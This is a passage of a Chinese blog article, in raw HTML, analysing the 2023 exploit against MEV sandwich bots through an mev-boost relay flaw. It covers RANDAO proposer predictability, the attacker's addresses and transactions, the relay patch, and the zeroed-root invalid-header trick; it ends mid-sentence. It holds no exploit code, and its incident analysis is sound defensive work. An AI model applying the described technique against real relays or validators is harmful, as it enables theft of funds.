powered-by="xiumi.us" style="margin-top: 10px;"><section style="font-size: 17px;"><p style="text-align: center;">可预测性 &amp; 随机性</p></section></section><section powered-by="xiumi.us" style="margin-top: 4px;margin-bottom: 10px;text-align: center;justify-content: center;display: flex;flex-flow: row;"><section style="display: inline-block;vertical-align: top;width: 10px;flex: 0 0 auto;height: auto;margin-right: 5px;align-self: flex-start;"><section powered-by="xiumi.us" style="margin-bottom: 10px;"><section style="width: 10px;height: 5px;background-color: rgb(119, 95, 255);"><svg viewBox="0 0 1 1" style="float:left;line-height:0;width:0;vertical-align:top;"></svg></section></section></section><section style="display: inline-block;vertical-align: top;width: 10px;flex: 0 0 auto;height: auto;margin-right: 5px;align-self: flex-start;"><section powered-by="xiumi.us" style="margin-bottom: 10px;"><section style="width: 10px;height: 5px;background-color: rgb(247, 206, 42);"><svg viewBox="0 0 1 1" style="float:left;line-height:0;width:0;vertical-align:top;"></svg></section></section></section></section><section powered-by="xiumi.us"><section style="text-align: left;line-height: 1.75em;"><span style="font-size: 15px;">每个验证者是随机选出的，通过一个名为“RANDAO”的伪随机算法实现，该算法结合了每个区块提议者的 hash 与一个随着每个区块更新的种子。</span></section><section style="text-align: left;line-height: 1.75em;"><span style="font-size: 15px;">proposer 的选择</span></section><p style="text-align: left;"><br/></p></section><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="c"><code><span class="code-snippet_outer"><span class="code-snippet__function">def <span class="code-snippet__title">get_beacon_proposer_index</span><span class="code-snippet__params">(state: BeaconState)</span> -&gt; ValidatorIndex:</span></span></code><code><span class="code-snippet_outer">  &#34;&#34;&#34;</span></code><code><span class="code-snippet_outer">  Return the beacon proposer index at the current slot.</span></code><code><span class="code-snippet_outer">  &#34;&#34;&#34;</span></code><code><span class="code-snippet_outer"><span class="code-snippet_outer">  epoch </span>= get_current_epoch(state)</span></code><code><span class="code-snippet_outer">  seed = hash(get_seed(state, epoch, DOMAIN_BEACON_PROPOSER) + int_to_bytes(state.slot, length=<span class="code-snippet__number">8</span>))</span></code><code><span class="code-snippet_outer">  indices = get_active_validator_indices(state, epoch)</span></code><code><span class="code-snippet_outer">  <span class="code-snippet__keyword">return</span> compute_proposer_index(state, indices, seed)</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">def compute_proposer_index(state: BeaconState, indices: Sequence[ValidatorIndex], seed: Bytes32) -&gt; ValidatorIndex:</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__string">&#34;&#34;</span><span class="code-snippet__string">&#34;</span></span></code><code><span class="code-snippet_outer">    Return from ``indices`` a random index sampled by effective balance.</span></code><code><span class="code-snippet_outer"><span class="code-snippet_outer">    &#34;</span><span class="code-snippet__string">&#34;&#34;</span></span></code><code><span class="code-snippet_outer">    assert len(indices) &gt; <span class="code-snippet__number">0</span></span></code><code><span class="code-snippet_outer">    MAX_RANDOM_BYTE = <span class="code-snippet__number">2</span>**<span class="code-snippet__number">8</span> - <span class="code-snippet__number">1</span></span></code><code><span class="code-snippet_outer">    i = uint64(<span class="code-snippet__number">0</span>)</span></code><code><span class="code-snippet_outer">    total = uint64(len(indices))</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">while</span> True:</span></code><code><span class="code-snippet_outer">        candidate_index = indices[compute_shuffled_index(i % total, total, seed)]</span></code><code><span class="code-snippet_outer">        random_byte = hash(seed + uint_to_bytes(uint64(i <span class="code-snippet__comment">// 32)))[i % 32]</span></span></code><code><span class="code-snippet_outer">        effective_balance = state.validators[candidate_index].effective_balance</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">if</span> effective_balance * MAX_RANDOM_BYTE &gt;= MAX_EFFECTIVE_BALANCE * random_byte:</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">return</span> candidate_index</span></code><code><span class="code-snippet_outer">        i += <span class="code-snippet__number">1</span></span></code></pre></section><section powered-by="xiumi.us"><p style="text-align: left;"><br/></p><p><br/></p><p style="text-align: left;"><span style="font-size: 15px;">可以看到 proposer 的选择主要来源于这个 seed，那么这个 seed 是从哪里来呢？</span></p><p><br/></p><p style="text-align: left;"><span style="color: rgb(95, 156, 239);font-size: 15px;">proof of stake - How are block proposers selected in Ethereum 2.0? - Ethereum Stack Exchange</span></p><p><br/></p><p style="text-align: left;"><span style="color: rgb(95, 156, 239);font-size: 15px;">prysm-spike/randao.go at d5ac70f0406b445a276ee61ba10fdf0eb6aafa0f · silesiacoin/prysm-spike</span></p><p><br/></p><p style="text-align: left;"><br/></p></section><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="c"><code><span class="code-snippet_outer"><span class="code-snippet__function">def <span class="code-snippet__title">get_seed</span><span class="code-snippet__params">(state: BeaconState, epoch: Epoch, domain_type: DomainType)</span> -&gt; Hash:</span></span></code><code><span class="code-snippet_outer">  &#34;&#34;&#34;</span></code><code><span class="code-snippet_outer">  Return the seed at ``epoch``.</span></code><code><span class="code-snippet_outer">  &#34;&#34;&#34;</span></code><code><span class="code-snippet_outer"><span class="code-snippet_outer">  mix </span>= get_randao_mix(state, Epoch(epoch + EPOCHS_PER_HISTORICAL_VECTOR - MIN_SEED_LOOKAHEAD - <span class="code-snippet__number">1</span>))  # <span class="code-snippet__function">Avoid underflow</span></span></code><code><span class="code-snippet_outer">  <span class="code-snippet__keyword">return</span> <span class="code-snippet__title">hash</span><span class="code-snippet__params">(domain_type + int_to_bytes(epoch, length=<span class="code-snippet__number">8</span>) + mix)</span></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">def <span class="code-snippet__title">get_randao_mix</span><span class="code-snippet__params">(state: BeaconState, epoch: Epoch)</span> -&gt; Hash:</span></code><code><span class="code-snippet_outer"> &#34;&#34;&#34;</span></code><code><span class="code-snippet_outer"> Return the randao mix at a recent ``epoch``.</span></code><code><span class="code-snippet_outer"> &#34;&#34;&#34;</span></code><code><span class="code-snippet_outer"> <span class="code-snippet__keyword">return</span> state.randao_mixes[epoch % EPOCHS_PER_HISTORICAL_VECTOR]</span></code></pre></section><section powered-by="xiumi.us" style="color: rgb(182, 182, 182);"><p><br/></p><p style="text-align: left;color: rgb(0, 0, 0);"><br/></p><section style="color: rgb(0, 0, 0);line-height: 1.75em;"><span style="font-size: 15px;">MINSEEDLOOKAHEAD 被设置为 1<span style="color: rgb(95, 156, 239);"> Upgrading Ethereum | 3.2.3 Preset</span></span></section><section style="color: rgb(0, 0, 0);line-height: 1.75em;"><span style="font-size: 15px;"><span style="color: rgb(95, 156, 239);"><a href="https://eth2book.info/altair/part3/config/preset/#min_seed_lookahead" target="_blank">https://eth2book.info/altair/part3/config/preset/#min_seed_lookahead</a></span></span></section><section style="color: rgb(0, 0, 0);line-height: 1.75em;"><span style="font-size: 15px;">可以看出 seed 由<span style="color: rgb(255, 129, 36);">当前 epoch-2</span> 的 randao_mixes 决定。</span></section></section><section style="line-height: 1.75em;"><section powered-by="xiumi.us" style="text-align: center;justify-content: center;margin-top: 10px;margin-bottom: 10px;display: flex;flex-flow: row;"><section style="display: inline-block;width: 697.75px;vertical-align: top;border-style: solid;border-width: 0px 0px 0px 1px;border-color: rgb(66, 82, 190) rgb(66, 82, 190) rgb(66, 82, 190) rgb(52, 54, 121);padding-top: 21px;padding-bottom: 21px;padding-left: 21px;flex: 0 0 auto;height: auto;align-self: flex-start;"><section powered-by="xiumi.us" style="text-align: left;font-size: 15px;"><p>Current and past RANDAO values are stored in the <span style="color: rgb(95, 156, 239);">beacon state（<a href="https://eth2book.info/bellatrix/part3/containers/state/#beaconstate）" target="_blank">https://eth2book.info/bellatrix/part3/containers/state/#beaconstate）</a></span> in the randao_mixes field. The current value is updated by <span style="color: rgb(95, 156, 239);">process_randao（<a href="https://eth2book.info/bellatrix/part3/transition/block/#def_process_randao）" target="_blank">https://eth2book.info/bellatrix/part3/transition/block/#def_process_randao）</a></span>with every block that the beacon chain processes.</p></section></section></section></section><section powered-by="xiumi.us" style="color: rgb(182, 182, 182);"><p><br/></p></section><section powered-by="xiumi.us"><p style="line-height: 1.75em;"><span style="font-size: 15px;">那么这个 randao_mixes 又是如何计算的？</span></p><p style="line-height: 1.75em;"><span style="font-size: 15px;">每个区块的所有交易计算结束后会调用 <span style="color: rgb(255, 129, 36);">process_block</span>，进而调用<span style="color: rgb(255, 129, 36);"> process_randao</span></span></p><p><br/></p></section><section powered-by="xiumi.us"><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="c"><code><span class="code-snippet_outer"><span class="code-snippet__function">def <span class="code-snippet__title">process_block</span><span class="code-snippet__params">(state: BeaconState, block: BeaconBlock)</span> -&gt; None:</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__title">process_block_header</span><span class="code-snippet__params">(state, block)</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__title">process_randao</span><span class="code-snippet__params">(state, block.body)</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__title">process_eth1_data</span><span class="code-snippet__params">(state, block.body)</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__title">process_operations</span><span class="code-snippet__params">(state, block.body)</span></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">def <span class="code-snippet__title">process_randao</span><span class="code-snippet__params">(state: BeaconState, body: BeaconBlockBody)</span> -&gt; None:</span></code><code><span class="code-snippet_outer"><span class="code-snippet_outer">    epoch </span>= get_current_epoch(state)</span></code><code><span class="code-snippet_outer">    # Verify RANDAO reveal</span></code><code><span class="code-snippet_outer">    proposer = state.validators[get_beacon_proposer_index(state)]</span></code><code><span class="code-snippet_outer">    signing_root = compute_signing_root(epoch, get_domain(state, DOMAIN_RANDAO))</span></code><code><span class="code-snippet_outer">    assert bls.Verify(proposer.pubkey, signing_root, body.randao_reveal)</span></code><code><span class="code-snippet_outer">    # Mix in RANDAO reveal</span></code><code><span class="code-snippet_outer">    mix = <span class="code-snippet__keyword">xor</span>(get_randao_mix(state, epoch), hash(body.randao_reveal))</span></code><code><span class="code-snippet_outer">    state.randao_mixes[epoch % EPOCHS_PER_HISTORICAL_VECTOR] = mi</span></code></pre></section><p style="color: rgb(182, 182, 182);"><br/></p></section><section powered-by="xiumi.us"><p><br/></p><section style="line-height: 1.75em;"><span style="font-size: 15px;">根据这段代码可以看出，randaomix 来自之前的值与 randaoreveal。</span></section><section style="line-height: 1.75em;"><span style="font-size: 15px;">randao_reveal 是出块者对该区块的签名</span></section><p><br/></p></section><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="c"><code><span class="code-snippet_outer"><span class="code-snippet__function">class <span class="code-snippet__title">BeaconBlockBody</span><span class="code-snippet__params">(Container)</span>:</span></span></code><code><span class="code-snippet_outer">    randao_reveal: BLSSignature</span></code><code><span class="code-snippet_outer">    eth1_data: Eth1Data  # Eth1 data vote</span></code><code><span class="code-snippet_outer">    graffiti: Bytes32  # Arbitrary data</span></code><code><span class="code-snippet_outer">    # Operations</span></code><code><span class="code-snippet_outer">    proposer_slashings: List[ProposerSlashing, MAX_PROPOSER_SLASHINGS]</span></code><code><span class="code-snippet_outer">    attester_slashings: List[AttesterSlashing, MAX_ATTESTER_SLASHINGS]</span></code><code><span class="code-snippet_outer">    attestations: List[Attestation, MAX_ATTESTATIONS]</span></code><code><span class="code-snippet_outer">    deposits: List[Deposit, MAX_DEPOSITS]</span></code><code><span class="code-snippet_outer">    voluntary_exits: List[SignedVoluntaryExit, MAX_VOLUNTARY_EXITS]</span></code></pre></section><section powered-by="xiumi.us"><p><br/></p><section style="line-height: 1.75em;"><span style="font-size: 15px;">总结一下:</span></section><section style="line-height: 1.75em;"><span style="font-size: 15px;">·当前每个 slot 的 proposer 的选择是根据一个 seed 通过伪随机算法选取的</span></section><section style="line-height: 1.75em;"><span style="font-size: 15px;">·seed 可以根据当前 epoch-2 的 randao_mixes 计算出来</span></section><section style="line-height: 1.75em;"><span style="font-size: 15px;">·每个区块在出块时通过将区块的签名写入 randaoreveal 为 randaomixes 增加随机性</span></section><section style="line-height: 1.75em;"><span style="font-size: 15px;">不难看出 proposer 在 epoch-2 到 epoch 这个时段内都是<span style="color: rgb(255, 129, 36);">可以预测</span>的。</span></section><p><br/></p></section><section powered-by="xiumi.us" style="margin-top: 10px;"><section style="font-size: 17px;text-align: center;"><p>Dusk for Sandwich Bots</p></section></section><section powered-by="xiumi.us" style="margin-top: 4px;margin-bottom: 10px;text-align: center;justify-content: center;display: flex;flex-flow: row;"><section style="display: inline-block;vertical-align: top;width: 10px;flex: 0 0 auto;height: auto;margin-right: 5px;align-self: flex-start;"><section powered-by="xiumi.us" style="margin-bottom: 10px;"><section style="width: 10px;height: 5px;background-color: rgb(119, 95, 255);"><svg viewBox="0 0 1 1" style="float:left;line-height:0;width:0;vertical-align:top;"></svg></section></section></section><section style="display: inline-block;vertical-align: top;width: 10px;flex: 0 0 auto;height: auto;margin-right: 5px;align-self: flex-start;"><section powered-by="xiumi.us" style="margin-bottom: 10px;"><section style="width: 10px;height: 5px;background-color: rgb(247, 206, 42);"><svg viewBox="0 0 1 1" style="float:left;line-height:0;width:0;vertical-align:top;"></svg></section></section></section></section><section powered-by="xiumi.us"><section style="text-align: left;line-height: 1.75em;"><span style="font-size: 15px;">4.3 发生了一起针对 sandwich bot 的攻击，攻击者通过利用漏洞的方式拿到了三明治的 bundle 并重新打包，套取了三明治机器人的钱。</span></section><section style="line-height: 1.75em;"><span style="color: rgb(95, 156, 239);font-size: 15px;"><a href="https://twitter.com/samczsun/status/1642848556590723075?s=09&amp;scene=ccm&amp;logParams={" target="_blank">https://twitter.com/samczsun/status/1642848556590723075?s=09&amp;scene=ccm&amp;logParams={</a>&#34;location&#34;:&#34;ccm_default&#34;}&amp;lang=zh-CN</span></section><p><br/></p><section style="line-height: 1.75em;"><span style="color: rgb(95, 156, 239);font-size: 15px;">第一笔交易</span></section><section style="text-align: left;line-height: 1.75em;">tx hash：0xd2edf726fd3a7f179c1a93343e5c0c6ed13417837deb6fc61601d1ce9380e8d</section><section style="text-align: left;line-height: 1.75em;">cmevbot 合约：0xE8c060F8052E07423f71D445277c61AC5138A2e5操纵 mevbot 的钱包：0xe2cA3167B89b8Cf680D63B06E8AeEfc5E4EBe907</section><p style="text-align: left;"><br/></p><section style="text-align: left;line-height: 1.75em;">mevbot 在 uniswap 用 2, 454.100770074916814848 weth 买了 4.507832705794128225 STG</section><p><br/></p><section style="line-height: 1.75em;"><span style="color: rgb(95, 156, 239);font-size: 15px;">第二笔交易</span></section><section style="line-height: 1.75em;"><span style="font-size: 15px;">tx hash：</span></section><section style="text-align: left;line-height: 1.75em;"><span style="font-size: 15px;">0x4b2a2d03b3dc136ef94ebe2f3bc36231b104172bcb598104730898f7d81a55db</span></section><section style="text-align: left;line-height: 1.75em;"><span style="font-size: 15px;">攻击者地址：</span></section><section style="text-align: left;line-height: 1.75em;"><span style="font-size: 15px;">0x84cb986d0427e48a2a72be89d78f438b3a3c58d1</span></section><section style="text-align: left;line-height: 1.75em;"><span style="font-size: 15px;">攻击者合约的地址：</span></section><section style="text-align: left;line-height: 1.75em;"><span style="font-size: 15px;">0xe73f1576af5573714404a2e3181f7336d3d978f9</span></section><section style="text-align: left;line-height: 1.75em;"><span style="font-size: 15px;"></span></section><section style="text-align: left;line-height: 1.75em;"><span style="font-size: 15px;">攻击者的合约在 uniswap 用 158.143384582646949233 STG 买了 2, 454.105651828533863963 WETH，将 mevbot 的钱全部划走</span></section><p><br/></p></section><section powered-by="xiumi.us" style="margin-top: 10px;"><section style="font-size: 17px;text-align: center;"><p>布局</p></section></section><section powered-by="xiumi.us" style="margin-top: 4px;margin-bottom: 10px;text-align: center;justify-content: center;display: flex;flex-flow: row;"><section style="display: inline-block;vertical-align: top;width: 10px;flex: 0 0 auto;height: auto;margin-right: 5px;align-self: flex-start;"><section powered-by="xiumi.us" style="margin-bottom: 10px;"><section style="width: 10px;height: 5px;background-color: rgb(119, 95, 255);"><svg viewBox="0 0 1 1" style="float:left;line-height:0;width:0;vertical-align:top;"></svg></section></section></section><section style="display: inline-block;vertical-align: top;width: 10px;flex: 0 0 auto;height: auto;margin-right: 5px;align-self: flex-start;"><section powered-by="xiumi.us" style="margin-bottom: 10px;"><section style="width: 10px;height: 5px;background-color: rgb(247, 206, 42);"><svg viewBox="0 0 1 1" style="float:left;line-height:0;width:0;vertical-align:top;"></svg></section></section></section></section><section powered-by="xiumi.us"><section style="text-align: left;line-height: 1.75em;"><span style="font-size: 15px;">攻击者部署的 uniswap 合约，2023.3.16 部署部署钱包：0x84cb986d0427e48a2a72be89d78f438b3a3c58d1</span></section><section style="text-align: left;line-height: 1.75em;"><br/></section><section style="text-align: left;line-height: 1.75em;"><span style="color: rgb(95, 156, 239);font-size: 15px;">Uniswap V2: STG 5 | Address 0x410fb10ba8af78a1e191fe3067208d3212ded961 | Etherscan</span></section><section style="text-align: left;line-height: 1.75em;"><span style="color: rgb(95, 156, 239);font-size: 15px;"></span></section><section style="text-align: left;line-height: 1.75em;"><span style="font-size: 15px;">同样在 3.16 成为 validator</span></section><section style="text-align: left;line-height: 1.75em;"><br/></section><section style="text-align: left;line-height: 1.75em;"><span style="color: rgb(95, 156, 239);font-size: 15px;">Validator #552061 | Mainnet Beacon Chain (Phase 0) Ethereum 2.0 Explorer</span></section><section style="text-align: left;line-height: 1.75em;"><span style="font-size: 15px;">攻击发生在 4.2，目前以太坊上有大概 50w 的 validator。因此如果以后有类似的共识层上的攻击，那么这个攻击的周期可能是半个月左右。</span></section><section style="text-align: left;line-height: 1.75em;"><span style="font-size: 15px;"></span></section></section><section powered-by="xiumi.us" style="margin-top: 10px;"><section style="font-size: 17px;text-align: center;"><section style="line-height: 1.75em;">patch 代码</section></section></section><section powered-by="xiumi.us" style="margin-top: 4px;margin-bottom: 10px;text-align: center;justify-content: center;display: flex;flex-flow: row;"><section style="display: inline-block;vertical-align: top;width: 10px;flex: 0 0 auto;height: auto;margin-right: 5px;align-self: flex-start;"><section powered-by="xiumi.us" style="margin-bottom: 10px;"><section style="width: 10px;height: 5px;background-color: rgb(119, 95, 255);"><svg viewBox="0 0 1 1" style="float:left;line-height:0;width:0;vertical-align:top;"></svg></section></section></section><section style="display: inline-block;vertical-align: top;width: 10px;flex: 0 0 auto;height: auto;margin-right: 5px;align-self: flex-start;"><section powered-by="xiumi.us" style="margin-bottom: 10px;"><section style="width: 10px;height: 5px;background-color: rgb(247, 206, 42);"><svg viewBox="0 0 1 1" style="float:left;line-height:0;width:0;vertical-align:top;"></svg></section></section></section></section><section powered-by="xiumi.us"><section style="line-height: 1.75em;"><span style="color: rgb(95, 156, 239);font-size: 15px;">Chris Hager ⚡🤖 on Twitter: &#34;The issue was a relay publishing the payload to the proposer even though parts of the beacon block were incorrect, preventing the relay from publishing the original block first. This allowed the proposer to access the block contents before another block had been finalized.&#34; / Twitter</span></section><section style="text-align: left;line-height: 1.75em;"><a href="https://github.com/flashbots/mev-boost-relay/pull/330/commits" target="_blank">https://github.com/flashbots/mev-boost-relay/pull/330/commits</a></section><section style="text-align: left;line-height: 1.75em;"><br/></section><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.7324074074074074" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=27061a31&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldeiaf0k4PWVrCd6xicKa5kymXG73tZSY90AaH67LUkSpEXd9M0lJv7DZyv0iaaTxEOpmNOoQSuK0NaQw%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: left;"><br/></p></section><section powered-by="xiumi.us" style="text-align: center;margin-top: 10px;margin-bottom: 10px;line-height: 0;"><section style="vertical-align: middle;display: inline-block;line-height: 0;"><img data-ratio="0.7324074074074074" data-s="300,640" style="vertical-align: middle;width: 0px;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=f40ad190&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldf3RUL4MNoPPpfuQKjfXMj5GvpgpWgGX8b10RibicODvhJmrTJ25aUYlCJMviaKxwyPznkuECLYmfWHA%2F640%3Fwx_fmt%3Dpng"/></section></section><section powered-by="xiumi.us"><section style="line-height: 1.75em;"><span style="font-size: 15px;">原始流程：验证 validator 的签名-&gt;返回区块体内容-&gt;将签名的区块头发布到 beacon chain</span></section><section style="line-height: 1.75em;"><span style="font-size: 15px;"></span></section><section style="line-height: 1.75em;"><span style="font-size: 15px;">patch 后的流程：验证 validator 签名-&gt;将签名的区块头发送到 beacon chain-&gt;<span style="color: rgb(255, 129, 36);">如果成功</span>则返回区块体内容</span></section><section style="line-height: 1.75em;"><span style="font-size: 15px;">可以通过 patch 得出其关键就在于将区块头发布到 beacon chain 这个动作的成功才能返回区块体的内容，反之则会被攻击。</span></section><section style="line-height: 1.75em;"><span style="font-size: 15px;"></span></section><section style="line-height: 1.75em;"><span style="font-size: 15px;">但是首先我们要知道校验 validator 头校验的是哪些部分</span></section><section style="line-height: 1.75em;"><span style="font-size: 15px;">校验签名就不说了，校验签名之后还会校验该 header 是不是 relay 发送给 proposer 的那个，使用函数 EqExecutionPayloadToHeader 校验</span></section><section style="line-height: 1.75em;"><span style="font-size: 15px;"></span></section><section style="line-height: 1.75em;"><span style="font-size: 15px;">该函数会将 header 转为名为 ExecutionPayload 的结构体并计算 hash，以此判断 proposer 是不是真的签名了该头。所以校验的内容就是如下字段：</span></section><p style="text-align: left;"><br/></p></section><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="c"><code><span class="code-snippet_outer"><span class="code-snippet__comment">// ExecutionPayload <a href="https://github.com/ethereum/consensus-specs/blob/dev/specs/bellatrix/beacon-chain.md#executionpayload" target="_blank">https://github.com/ethereum/consensus-specs/blob/dev/specs/bellatrix/beacon-chain.md#executionpayload</a></span></span></code><code><span class="code-snippet_outer">type ExecutionPayload <span class="code-snippet__class"><span class="code-snippet__keyword">struct</span> {</span></span></code><code><span class="code-snippet_outer">  ParentHash    Hash            `json:<span class="code-snippet__string">&#34;parent_hash&#34;</span> ssz-size:<span class="code-snippet__string">&#34;32&#34;</span>`</span></code><code><span class="code-snippet_outer">  FeeRecipient  Address         `json:<span class="code-snippet__string">&#34;fee_recipient&#34;</span> ssz-size:<span class="code-snippet__string">&#34;20&#34;</span>`</span></code><code><span class="code-snippet_outer">  StateRoot     Root            `json:<span class="code-snippet__string">&#34;state_root&#34;</span> ssz-size:<span class="code-snippet__string">&#34;32&#34;</span>`</span></code><code><span class="code-snippet_outer">  ReceiptsRoot  Root            `json:<span class="code-snippet__string">&#34;receipts_root&#34;</span> ssz-size:<span class="code-snippet__string">&#34;32&#34;</span>`</span></code><code><span class="code-snippet_outer">  LogsBloom     Bloom           `json:<span class="code-snippet__string">&#34;logs_bloom&#34;</span> ssz-size:<span class="code-snippet__string">&#34;256&#34;</span>`</span></code><code><span class="code-snippet_outer">  Random        Hash            `json:<span class="code-snippet__string">&#34;prev_randao&#34;</span> ssz-size:<span class="code-snippet__string">&#34;32&#34;</span>`</span></code><code><span class="code-snippet_outer">  BlockNumber   uint64          `json:<span class="code-snippet__string">&#34;block_number,string&#34;</span>`</span></code><code><span class="code-snippet_outer">  GasLimit      uint64          `json:<span class="code-snippet__string">&#34;gas_limit,string&#34;</span>`</span></code><code><span class="code-snippet_outer">  GasUsed       uint64          `json:<span class="code-snippet__string">&#34;gas_used,string&#34;</span>`</span></code><code><span class="code-snippet_outer">  Timestamp     uint64          `json:<span class="code-snippet__string">&#34;timestamp,string&#34;</span>`</span></code><code><span class="code-snippet_outer">  ExtraData     ExtraData       `json:<span class="code-snippet__string">&#34;extra_data&#34;</span> ssz-max:<span class="code-snippet__string">&#34;32&#34;</span>`</span></code><code><span class="code-snippet_outer">  BaseFeePerGas U256Str         `json:<span class="code-snippet__string">&#34;base_fee_per_gas&#34;</span> ssz-max:<span class="code-snippet__string">&#34;32&#34;</span>`</span></code><code><span class="code-snippet_outer">  BlockHash     Hash            `json:<span class="code-snippet__string">&#34;block_hash&#34;</span> ssz-size:<span class="code-snippet__string">&#34;32&#34;</span>`</span></code><code><span class="code-snippet_outer">  Transactions  []hexutil.Bytes `json:<span class="code-snippet__string">&#34;transactions&#34;</span> ssz-max:<span class="code-snippet__string">&#34;1048576,1073741824&#34;</span> ssz-size:<span class="code-snippet__string">&#34;?,?&#34;</span>`</span></code><code><span class="code-snippet_outer">}</span></code></pre></section><section powered-by="xiumi.us"><p style="text-align: left;"><br/></p><section style="line-height: 1.75em;"><span style="font-size: 15px;">要想获取到 relay 的 block body 中的内容，攻击者首先要通过验证，也就是攻击者签名了 relay 发送的 header。但是由于 relay 会将 block header 发布到 beacon chain 让其他 validator 去验证该 proposer 提议的区块是否与 relay 发送给 proposer 的区块一致，因此 proposer 仅拿到这个区块是没用的，proposer 还需要阻止他签名的正常 header 被发布才能防止其他 validator 验证他发布的区块。</span></section><section style="line-height: 1.75em;"><span style="font-size: 15px;">patch 中将区块头发布到 beacon chain 这个行为提前，并且如果这个动作<span style="color: rgb(255, 129, 36);">失败</span>则停止继续发送区块体的内容，这说明攻击者正是利用了<span style="color: rgb(255, 129, 36);">发布这个动作的失败</span>使该区块头没有被发布到 beacon chain 上，使其他 validator 无法验证攻击者的区块。</span></section><p style="text-align: left;"><br/></p></section><section powered-by="xiumi.us" style="margin-top: 10px;"><section style="font-size: 17px;text-align: center;"><p>Attack！</p></section></section><section powered-by="xiumi.us" style="margin-top: 4px;margin-bottom: 10px;text-align: center;justify-content: center;display: flex;flex-flow: row;"><section style="display: inline-block;vertical-align: top;width: 10px;flex: 0 0 auto;height: auto;margin-right: 5px;align-self: flex-start;"><section powered-by="xiumi.us" style="margin-bottom: 10px;"><section style="width: 10px;height: 5px;background-color: rgb(119, 95, 255);"><svg viewBox="0 0 1 1" style="float:left;line-height:0;width:0;vertical-align:top;"></svg></section></section></section><section style="display: inline-block;vertical-align: top;width: 10px;flex: 0 0 auto;height: auto;margin-right: 5px;align-self: flex-start;"><section powered-by="xiumi.us" style="margin-bottom: 10px;"><section style="width: 10px;height: 5px;background-color: rgb(247, 206, 42);"><svg viewBox="0 0 1 1" style="float:left;line-height:0;width:0;vertical-align:top;"></svg></section></section></section></section><section powered-by="xiumi.us" style="font-size: 15px;color: rgb(95, 156, 239);"><section style="text-align: left;line-height: 1.75em;"><a href="https://twitter.com/samczsun/status/1642848567781105664&amp;scene=ccm&amp;logParams={" target="_blank">https://twitter.com/samczsun/status/1642848567781105664&amp;scene=ccm&amp;logParams={</a>&#34;location&#34;:&#34;ccm_default&#34;}&amp;lang=zh-CN</section></section><section powered-by="xiumi.us" style="text-align: center;justify-content: center;margin-top: 10px;margin-bottom: 10px;display: flex;flex-flow: row;"><section style="display: inline-block;width: 697.75px;vertical-align: top;border-style: solid;border-width: 0px 0px 0px 1px;border-color: rgb(66, 82, 190) rgb(66, 82, 190) rgb(66, 82, 190) rgb(52, 54, 121);padding-top: 21px;padding-bottom: 21px;padding-left: 21px;flex: 0 0 auto;height: auto;align-self: flex-start;"><section powered-by="xiumi.us" style="text-align: left;font-size: 15px;"><p><br/></p><p>Unfortunately, if the signed block was invalid, then it would never be accepted by the network, so there would be no race at all. By setting both the parent root and the state root to zero, that&#39;s exactly what the malicious validator did.</p></section></section></section><section powered-by="xiumi.us" style="text-align: center;margin-top: 10px;margin-bottom: 10px;line-height: 0;"><section style="vertical-align: middle;display: inline-block;line-height: 0;"><img data-ratio="0.3102766798418972" data-s="300,640" style="vertical-align: middle;width: 0px;" data-type="png" data-w="506" src="https://wechat2rss.xlab.app/img-proxy/?k=48a12a67&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldf3RUL4MNoPPpfuQKjfXMj5KJTFiatO4FZnVPr7LTQar2Ocic9d8tlfTBWiaZRnLLLrcGG5p9XeEEMCw%2F640%3Fwx_fmt%3Dpng"/></section></section><section powered-by="xiumi.us"><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.3102766798418972" data-s="300,640" style="" data-type="png" data-w="506" src="https://wechat2rss.xlab.app/img-proxy/?k=b90f0927&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldeiaf0k4PWVrCd6xicKa5kymXy5KEr4pM9T1T8nx8tK0Fic3s81Gq0XzApMnXwrVHpj9WT3z9ZnsSs1Q%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="font-size: 15px;"><br/></span></p><section style="line-height: 1.75em;"><span style="font-size: 15px;">如果区块是非法区块，那么该区块将不会被接收。如图所示，攻击者通过将 parentroot 与 stateroot 字段置 0 使该区块非法。此时我们再回头看 relay 